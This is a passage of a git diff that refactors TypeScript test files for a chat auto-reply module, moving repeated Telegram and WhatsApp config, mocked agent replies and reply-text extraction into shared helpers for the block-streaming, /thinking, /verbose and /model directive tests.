buildInboundMediaNote } from "./media-note.js"; +import { createSuccessfulImageMediaDecision } from "./media-understanding.test-fixtures.js"; describe("buildInboundMediaNote", () => { it("formats single MediaPath as a media note", () => { @@ -78,31 +79,7 @@ describe("buildInboundMediaNote", () => { const note = buildInboundMediaNote({ MediaPaths: ["/tmp/a.png", "/tmp/b.png"], MediaUrls: ["https://example.com/a.png", "https://example.com/b.png"], - MediaUnderstandingDecisions: [ - { - capability: "image", - outcome: "success", - attachments: [ - { - attachmentIndex: 0, - attempts: [ - { - type: "provider", - outcome: "success", - provider: "openai", - model: "gpt-5.2", - }, - ], - chosen: { - type: "provider", - outcome: "success", - provider: "openai", - model: "gpt-5.2", - }, - }, - ], - }, - ], + MediaUnderstandingDecisions: [createSuccessfulImageMediaDecision()], }); expect(note).toBe("[media attached: /tmp/b.png | https://example.com/b.png]"); }); diff --git a/src/auto-reply/media-understanding.test-fixtures.ts b/src/auto-reply/media-understanding.test-fixtures.ts new file mode 100644 index 00000000000..767d5f885ad --- /dev/null +++ b/src/auto-reply/media-understanding.test-fixtures.ts @@ -0,0 +1,25 @@ +export function createSuccessfulImageMediaDecision() { + return { + capability: "image", + outcome: "success", + attachments: [ + { + attachmentIndex: 0, + attempts: [ + { + type: "provider", + outcome: "success", + provider: "openai", + model: "gpt-5.2", + }, + ], + chosen: { + type: "provider", + outcome: "success", + provider: "openai", + model: "gpt-5.2", + }, + }, + ], + } as const; +} diff --git a/src/auto-reply/reply.block-streaming.test.ts b/src/auto-reply/reply.block-streaming.test.ts index ad4a2e88b11..c8484d5c3f7 100644 --- a/src/auto-reply/reply.block-streaming.test.ts +++ b/src/auto-reply/reply.block-streaming.test.ts @@ -7,6 +7,7 @@ import { getReplyFromConfig } from "./reply.js"; type RunEmbeddedPiAgent = typeof import("../agents/pi-embedded.js").runEmbeddedPiAgent; type RunEmbeddedPiAgentParams = Parameters[0]; +type RunEmbeddedPiAgentReply = Awaited>; const piEmbeddedMock = vi.hoisted(() => ({ abortEmbeddedPiRun: vi.fn().mockReturnValue(false), @@ -54,6 +55,58 @@ function restoreHomeEnv(snapshot: HomeEnvSnapshot) { let fixtureRoot = ""; let caseId = 0; +function createEmbeddedReply(text: string): RunEmbeddedPiAgentReply { + return { + payloads: [{ text }], + meta: { + durationMs: 5, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }; +} + +function createTelegramMessage(messageSid: string) { + return { + Body: "ping", + From: "+1004", + To: "+2000", + MessageSid: messageSid, + Provider: "telegram", + } as const; +} + +function createReplyConfig(home: string, streamMode?: "block") { + return { + agents: { + defaults: { + model: "anthropic/claude-opus-4-5", + workspace: path.join(home, "openclaw"), + }, + }, + channels: { telegram: { allowFrom: ["*"], streamMode } }, + session: { store: path.join(home, "sessions.json") }, + }; +} + +async function runTelegramReply(params: { + home: string; + messageSid: string; + onBlockReply?: Parameters[1]["onBlockReply"]; + onReplyStart?: Parameters[1]["onReplyStart"]; + disableBlockStreaming?: boolean; + streamMode?: "block"; +}) { + return getReplyFromConfig( + createTelegramMessage(params.messageSid), + { + onReplyStart: params.onReplyStart, + onBlockReply: params.onBlockReply, + disableBlockStreaming: params.disableBlockStreaming, + }, + createReplyConfig(params.home, params.streamMode), + ); +} + async function withTempHome(fn: (home: string) => Promise): Promise { const home = path.join(fixtureRoot, `case-${++caseId}`); await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); @@ -135,38 +188,18 @@ describe("block streaming", () => { void params.onBlockReply?.({ text: "second" }); return { payloads: [{ text: "first" }, { text: "second" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, + meta: createEmbeddedReply("first").meta, }; }; piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(impl); - const replyPromise = getReplyFromConfig( - { - Body: "ping", - From: "+1004", - To: "+2000", - MessageSid: "msg-123", - Provider: "telegram", - }, - { - onReplyStart, - onBlockReply, - disableBlockStreaming: false, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { telegram: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, - ); + const replyPromise = runTelegramReply({ + home, + messageSid: "msg-123", + onReplyStart, + onBlockReply, + disableBlockStreaming: false, + }); await onReplyStartCalled; releaseTyping?.(); @@ -176,37 +209,17 @@ describe("block streaming", () => { expect(seen).toEqual(["first\n\nsecond"]); const onBlockReplyStreamMode = vi.fn().mockResolvedValue(undefined); - piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () => ({ - payloads: [{ text: "final" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - })); - - const resStreamMode = await getReplyFromConfig( - { - Body: "ping", - From: "+1004", - To: "+2000", - MessageSid: "msg-127", - Provider: "telegram", - }, - { - onBlockReply: onBlockReplyStreamMode, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { telegram: { allowFrom: ["*"], streamMode: "block" } }, - session: { store: path.join(home, "sessions.json") }, - }, + piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () => + createEmbeddedReply("final"), ); + const resStreamMode = await runTelegramReply({ + home, + messageSid: "msg-127", + onBlockReply: onBlockReplyStreamMode, + streamMode: "block", + }); + expect(resStreamMode?.text).toBe("final"); expect(onBlockReplyStreamMode).not.toHaveBeenCalled(); }); @@ -222,39 +235,16 @@ describe("block streaming", () => { piEmbeddedMock.runEmbeddedPiAgent.mockImplementation( async (params: RunEmbeddedPiAgentParams) => { void params.onBlockReply?.({ text: "\n\n Hello from stream" }); - return { - payloads: [{ text: "\n\n Hello from stream" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }; + return createEmbeddedReply("\n\n Hello from stream"); }, ); - const res = await getReplyFromConfig( - { - Body: "ping", - From: "+1004", - To: "+2000", - MessageSid: "msg-128", - Provider: "telegram", - }, - { - onBlockReply, - disableBlockStreaming: false, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { telegram: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, - ); + const res = await runTelegramReply({ + home, + messageSid: "msg-128", + onBlockReply, + disableBlockStreaming: false, + }); expect(res).toBeUndefined(); expect(onBlockReply).toHaveBeenCalledTimes(1); @@ -269,39 +259,16 @@ describe("block streaming", () => { piEmbeddedMock.runEmbeddedPiAgent.mockImplementation( async (params: RunEmbeddedPiAgentParams) => { void params.onBlockReply?.({ text: "Result\nMEDIA: ./image.png" }); - return { - payloads: [{ text: "Result\nMEDIA: ./image.png" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }; + return createEmbeddedReply("Result\nMEDIA: ./image.png"); }, ); - const res = await getReplyFromConfig( - { - Body: "ping", - From: "+1004", - To: "+2000", - MessageSid: "msg-129", - Provider: "telegram", - }, - { - onBlockReply, - disableBlockStreaming: false, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { telegram: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, - ); + const res = await runTelegramReply({ + home, + messageSid: "msg-129", + onBlockReply, + disableBlockStreaming: false, + }); expect(res).toBeUndefined(); expect(onBlockReply).toHaveBeenCalledTimes(1); diff --git a/src/auto-reply/reply.directive.directive-behavior.accepts-thinking-xhigh-codex-models.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.accepts-thinking-xhigh-codex-models.e2e.test.ts index 783e1978440..75eb23b0dd1 100644 --- a/src/auto-reply/reply.directive.directive-behavior.accepts-thinking-xhigh-codex-models.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.accepts-thinking-xhigh-codex-models.e2e.test.ts @@ -4,7 +4,11 @@ import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { installDirectiveBehaviorE2EHooks, + makeWhatsAppDirectiveConfig, + replyText, + replyTexts, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; @@ -20,90 +24,38 @@ async function writeSkill(params: { workspaceDir: string; name: string; descript ); } +async function runThinkingDirective(home: string, model: string) { + const res = await getReplyFromConfig( + { + Body: "/thinking xhigh", + From: "+1004", + To: "+2000", + CommandAuthorized: true, + }, + {}, + makeWhatsAppDirectiveConfig(home, { model }, { session: { store: sessionStorePath(home) } }), + ); + return replyTexts(res); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("accepts /thinking xhigh for codex models", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { - Body: "/thinking xhigh", - From: "+1004", - To: "+2000", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "openai-codex/gpt-5.2-codex", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); - - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = await runThinkingDirective(home, "openai-codex/gpt-5.2-codex"); expect(texts).toContain("Thinking level set to xhigh."); }); }); it("accepts /thinking xhigh for openai gpt-5.2", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { - Body: "/thinking xhigh", - From: "+1004", - To: "+2000", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "openai/gpt-5.2", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); - - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = await runThinkingDirective(home, "openai/gpt-5.2"); expect(texts).toContain("Thinking level set to xhigh."); }); }); it("rejects /thinking xhigh for non-codex models", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { - Body: "/thinking xhigh", - From: "+1004", - To: "+2000", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "openai/gpt-4.1-mini", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); - - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = await runThinkingDirective(home, "openai/gpt-4.1-mini"); expect(texts).toContain( 'Thinking level "xhigh" is only supported for openai/gpt-5.2, openai-codex/gpt-5.3-codex, openai-codex/gpt-5.3-codex-spark, openai-codex/gpt-5.2-codex, openai-codex/gpt-5.1-codex, github-copilot/gpt-5.2-codex or github-copilot/gpt-5.2.', ); @@ -119,22 +71,19 @@ describe("directive behavior", () => { CommandAuthorized: true, }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": { alias: " help " }, - }, + makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + models: { + "anthropic/claude-opus-4-5": { alias: " help " }, }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + { session: { store: sessionStorePath(home) } }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Help"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); @@ -156,19 +105,17 @@ describe("directive behavior", () => { CommandAuthorized: true, }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace, - models: { - "anthropic/claude-opus-4-5": { alias: "demo_skill" }, - }, + makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + workspace, + models: { + "anthropic/claude-opus-4-5": { alias: "demo_skill" }, }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + { session: { store: sessionStorePath(home) } }, + ), ); expect(runEmbeddedPiAgent).toHaveBeenCalled(); @@ -186,19 +133,16 @@ describe("directive behavior", () => { CommandAuthorized: true, }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: sessionStorePath(home) }, }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Invalid debounce"); expect(text).toContain("Invalid cap"); expect(text).toContain("Invalid drop policy"); @@ -216,27 +160,24 @@ describe("directive behavior", () => { CommandAuthorized: true, }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + messages: { + queue: { + mode: "collect", + debounceMs: 1500, + cap: 9, + drop: "summarize", + }, }, + session: { store: sessionStorePath(home) }, }, - messages: { - queue: { - mode: "collect", - debounceMs: 1500, - cap: 9, - drop: "summarize", - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: path.join(home, "sessions.json") }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain( "Current queue settings: mode=collect, debounce=1500ms, cap=9, drop=summarize.", ); @@ -251,19 +192,14 @@ describe("directive behavior", () => { const res = await getReplyFromConfig( { Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - thinkingDefault: "high", - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5", thinkingDefault: "high" }, + { session: { store: sessionStorePath(home) } }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toContain("Current thinking level: high"); expect(text).toContain("Options: off, minimal, low, medium, high."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); diff --git a/src/auto-reply/reply.directive.directive-behavior.applies-inline-reasoning-mixed-messages-acks-immediately.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.applies-inline-reasoning-mixed-messages-acks-immediately.e2e.test.ts index b044ddd5a61..08c7f493f05 100644 --- a/src/auto-reply/reply.directive.directive-behavior.applies-inline-reasoning-mixed-messages-acks-immediately.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.applies-inline-reasoning-mixed-messages-acks-immediately.e2e.test.ts @@ -1,57 +1,90 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { loadSessionStore } from "../config/sessions.js"; import { installDirectiveBehaviorE2EHooks, + makeWhatsAppDirectiveConfig, + replyText, + replyTexts, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; +async function runThinkDirectiveAndGetText( + home: string, + options: { thinkingDefault?: "high" } = {}, +): Promise { + const res = await getReplyFromConfig( + { Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true }, + {}, + makeWhatsAppDirectiveConfig(home, { + model: "anthropic/claude-opus-4-5", + ...(options.thinkingDefault ? { thinkingDefault: options.thinkingDefault } : {}), + }), + ); + return replyText(res); +} + +function mockEmbeddedResponse(text: string) { + vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + payloads: [{ text }], + meta: { + durationMs: 5, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); +} + +async function runInlineReasoningMessage(params: { + home: string; + body: string; + storePath: string; + blockReplies: string[]; +}) { + return await getReplyFromConfig( + { + Body: params.body, + From: "+1222", + To: "+1222", + Provider: "whatsapp", + }, + { + onBlockReply: (payload) => { + if (payload.text) { + params.blockReplies.push(payload.text); + } + }, + }, + makeWhatsAppDirectiveConfig( + params.home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: params.storePath }, + }, + ), + ); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("applies inline reasoning in mixed messages and acks immediately", async () => { await withTempHome(async (home) => { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "done" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); + mockEmbeddedResponse("done"); const blockReplies: string[] = []; - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); - const res = await getReplyFromConfig( - { - Body: "please reply\n/reasoning on", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - }, - { - onBlockReply: (payload) => { - if (payload.text) { - blockReplies.push(payload.text); - } - }, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); + const res = await runInlineReasoningMessage({ + home, + body: "please reply\n/reasoning on", + storePath, + blockReplies, + }); - const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean); + const texts = replyTexts(res); expect(texts).toContain("done"); expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); @@ -59,68 +92,24 @@ describe("directive behavior", () => { }); it("keeps reasoning acks for rapid mixed directives", async () => { await withTempHome(async (home) => { - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); + mockEmbeddedResponse("ok"); const blockReplies: string[] = []; - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); - await getReplyFromConfig( - { - Body: "do it\n/reasoning on", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - }, - { - onBlockReply: (payload) => { - if (payload.text) { - blockReplies.push(payload.text); - } - }, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); + await runInlineReasoningMessage({ + home, + body: "do it\n/reasoning on", + storePath, + blockReplies, + }); - await getReplyFromConfig( - { - Body: "again\n/reasoning on", - From: "+1222", - To: "+1222", - Provider: "whatsapp", - }, - { - onBlockReply: (payload) => { - if (payload.text) { - blockReplies.push(payload.text); - } - }, - }, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: storePath }, - }, - ); + await runInlineReasoningMessage({ + home, + body: "again\n/reasoning on", + storePath, + blockReplies, + }); expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2); expect(blockReplies.length).toBe(0); @@ -131,41 +120,31 @@ describe("directive behavior", () => { const res = await getReplyFromConfig( { Body: "/verbose on", From: "+1222", To: "+1222", CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, + makeWhatsAppDirectiveConfig(home, { model: "anthropic/claude-opus-4-5" }), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toMatch(/^⚙️ Verbose logging enabled\./); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); }); }); it("persists verbose off when directive is standalone", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); + const storePath = sessionStorePath(home); const res = await getReplyFromConfig( { Body: "/verbose off", From: "+1222", To: "+1222", CommandAuthorized: true }, {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, + makeWhatsAppDirectiveConfig( + home, + { model: "anthropic/claude-opus-4-5" }, + { + session: { store: storePath }, }, - session: { store: storePath }, - }, + ), ); - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = replyText(res); expect(text).toMatch(/Verbose logging disabled\./); const store = loadSessionStore(storePath); const entry = Object.values(store)[0]; @@ -175,22 +154,7 @@ describe("directive behavior", () => { }); it("shows current think level when /think has no argument", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - thinkingDefault: "high", - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runThinkDirectiveAndGetText(home, { thinkingDefault: "high" }); expect(text).toContain("Current thinking level: high"); expect(text).toContain("Options: off, minimal, low, medium, high."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -198,21 +162,7 @@ describe("directive behavior", () => { }); it("shows off when /think has no argument and no default set", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: path.join(home, "openclaw"), - }, - }, - session: { store: path.join(home, "sessions.json") }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runThinkDirectiveAndGetText(home); expect(text).toContain("Current thinking level: off"); expect(text).toContain("Options: off, minimal, low, medium, high."); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); diff --git a/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts b/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts index c7af85c77a9..98c20e0de72 100644 --- a/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts +++ b/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts @@ -20,6 +20,22 @@ export const DEFAULT_TEST_MODEL_CATALOG: Array<{ { id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" }, ]; +export type ReplyPayloadText = { text?: string | null } | null | undefined; + +export function replyText(res: ReplyPayloadText | ReplyPayloadText[]): string | undefined { + if (Array.isArray(res)) { + return typeof res[0]?.text === "string" ? res[0]?.text : undefined; + } + return typeof res?.text === "string" ? res.text : undefined; +} + +export function replyTexts(res: ReplyPayloadText | ReplyPayloadText[]): string[] { + const payloads = Array.isArray(res) ? res : [res]; + return payloads + .map((entry) => (typeof entry?.text === "string" ? entry.text : undefined)) + .filter((value): value is string => Boolean(value)); +} + export async function withTempHome(fn: (home: string) => Promise): Promise { return withTempHomeBase( async (home) => { @@ -35,6 +51,55 @@ export async function withTempHome(fn: (home: string) => Promise): Promise ); } +export function sessionStorePath(home: string): string { + return path.join(home, "sessions.json"); +} + +export function makeWhatsAppDirectiveConfig( + home: string, + defaults: Record, + extra: Record = {}, +) { + return { + agents: { + defaults: { + workspace: path.join(home, "openclaw"), + ...defaults, + }, + }, + channels: { whatsapp: { allowFrom: ["*"] } }, + session: { store: sessionStorePath(home) }, + ...extra, + }; +} + +export const AUTHORIZED_WHATSAPP_COMMAND = { + From: "+1222", + To: "+1222", + Provider: "whatsapp", + SenderE164: "+1222", + CommandAuthorized: true, +} as const; + +export function makeElevatedDirectiveConfig(home: string) { + return makeWhatsAppDirectiveConfig( + home, + { + model: "anthropic/claude-opus-4-5", + elevatedDefault: "on", + }, + { + tools: { + elevated: { + allowFrom: { whatsapp: ["+1222"] }, + }, + }, + channels: { whatsapp: { allowFrom: ["+1222"] } }, + session: { store: sessionStorePath(home) }, + }, + ); +} + export function assertModelSelection( storePath: string, selection: { model?: string; provider?: string } = {}, diff --git a/src/auto-reply/reply.directive.directive-behavior.lists-allowlisted-models-model-list.e2e.test.ts b/src/auto-reply/reply.directive.directive-behavior.lists-allowlisted-models-model-list.e2e.test.ts index a66a476089b..a4a045e0b8f 100644 --- a/src/auto-reply/reply.directive.directive-behavior.lists-allowlisted-models-model-list.e2e.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.lists-allowlisted-models-model-list.e2e.test.ts @@ -1,41 +1,50 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; -import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { assertModelSelection, installDirectiveBehaviorE2EHooks, loadModelCatalog, + makeWhatsAppDirectiveConfig, + replyText, runEmbeddedPiAgent, + sessionStorePath, withTempHome, } from "./reply.directive.directive-behavior.e2e-harness.js"; import { getReplyFromConfig } from "./reply.js"; +async function runModelDirective( + home: string, + body: string, + options: { + defaults?: Record; + extra?: Record; + } = {}, +): Promise { + const res = await getReplyFromConfig( + { Body: body, From: "+1222", To: "+1222", CommandAuthorized: true }, + {}, + makeWhatsAppDirectiveConfig( + home, + { + model: { primary: "anthropic/claude-opus-4-5" }, + models: { + "anthropic/claude-opus-4-5": {}, + "openai/gpt-4.1-mini": {}, + }, + ...options.defaults, + }, + { session: { store: sessionStorePath(home) }, ...options.extra }, + ), + ); + return replyText(res); +} + describe("directive behavior", () => { installDirectiveBehaviorE2EHooks(); it("aliases /model list to /models", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model list", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - }, - }, - }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runModelDirective(home, "/model list"); expect(text).toContain("Providers:"); expect(text).toContain("- anthropic"); expect(text).toContain("- openai"); @@ -47,27 +56,7 @@ describe("directive behavior", () => { it("shows current model when catalog is unavailable", async () => { await withTempHome(async (home) => { vi.mocked(loadModelCatalog).mockResolvedValueOnce([]); - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - }, - }, - }, - session: { store: storePath }, - }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + const text = await runModelDirective(home, "/model"); expect(text).toContain("Current: anthropic/claude-opus-4-5"); expect(text).toContain("Switch: /model "); expect(text).toContain("Browse: /models (providers) or /models (models)"); @@ -82,27 +71,16 @@ describe("directive behavior", () => { { id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" }, { id: "grok-4", name: "Grok 4", provider: "xai" }, ]); - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model list", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { - primary: "anthropic/claude-opus-4-5", - fallbacks: ["openai/gpt-4.1-mini"], - }, - imageModel: { primary: "minimax/MiniMax-M2.1" }, - workspace: path.join(home, "openclaw"), - }, + const text = await runModelDirective(home, "/model list", { + defaults: { + model: { + primary: "anthropic/claude-opus-4-5", + fallbacks: ["openai/gpt-4.1-mini"], }, - session: { store: storePath }, + imageModel: { primary: "minimax/MiniMax-M2.1" }, + models: undefined, }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + }); expect(text).toContain("Providers:"); expect(text).toContain("- anthropic"); expect(text).toContain("- openai"); @@ -123,23 +101,15 @@ describe("directive behavior", () => { }, { provider: "openai", id: "gpt-4.1-mini", name: "GPT-4.1 mini" }, ]); - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/models minimax", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - "openai/gpt-4.1-mini": {}, - "minimax/MiniMax-M2.1": { alias: "minimax" }, - }, - }, + const text = await runModelDirective(home, "/models minimax", { + defaults: { + models: { + "anthropic/claude-opus-4-5": {}, + "openai/gpt-4.1-mini": {}, + "minimax/MiniMax-M2.1": { alias: "minimax" }, }, + }, + extra: { models: { mode: "merge", providers: { @@ -150,11 +120,8 @@ describe("directive behavior", () => { }, }, }, - session: { store: storePath }, }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + }); expect(text).toContain("Models (minimax)"); expect(text).toContain("minimax/MiniMax-M2.1"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -162,26 +129,13 @@ describe("directive behavior", () => { }); it("does not repeat missing auth labels on /model list", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, "sessions.json"); - - const res = await getReplyFromConfig( - { Body: "/model list", From: "+1222", To: "+1222", CommandAuthorized: true }, - {}, - { - agents: { - defaults: { - model: { primary: "anthropic/claude-opus-4-5" }, - workspace: path.join(home, "openclaw"), - models: { - "anthropic/claude-opus-4-5": {}, - }, - }, + const text = await runModelDirective(home, "/model list", { + defaults: { + models: { + "anthropic/claude-opus-4-5": {}, }, - session: { store: storePath }, }, - ); - - const text = Array.isArray(res) ? res[0]?.text : res?.text; + }); expect(text).toContain("Providers:"); expect(text).not.toContain("missing (missing)"); expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); @@ -189,24 +143,22 @@ describe("directive behavior", () => { }); it("sets model override on /model directive", async () => { await withTempHome(async (home) => { - const storePath = path.join(home, 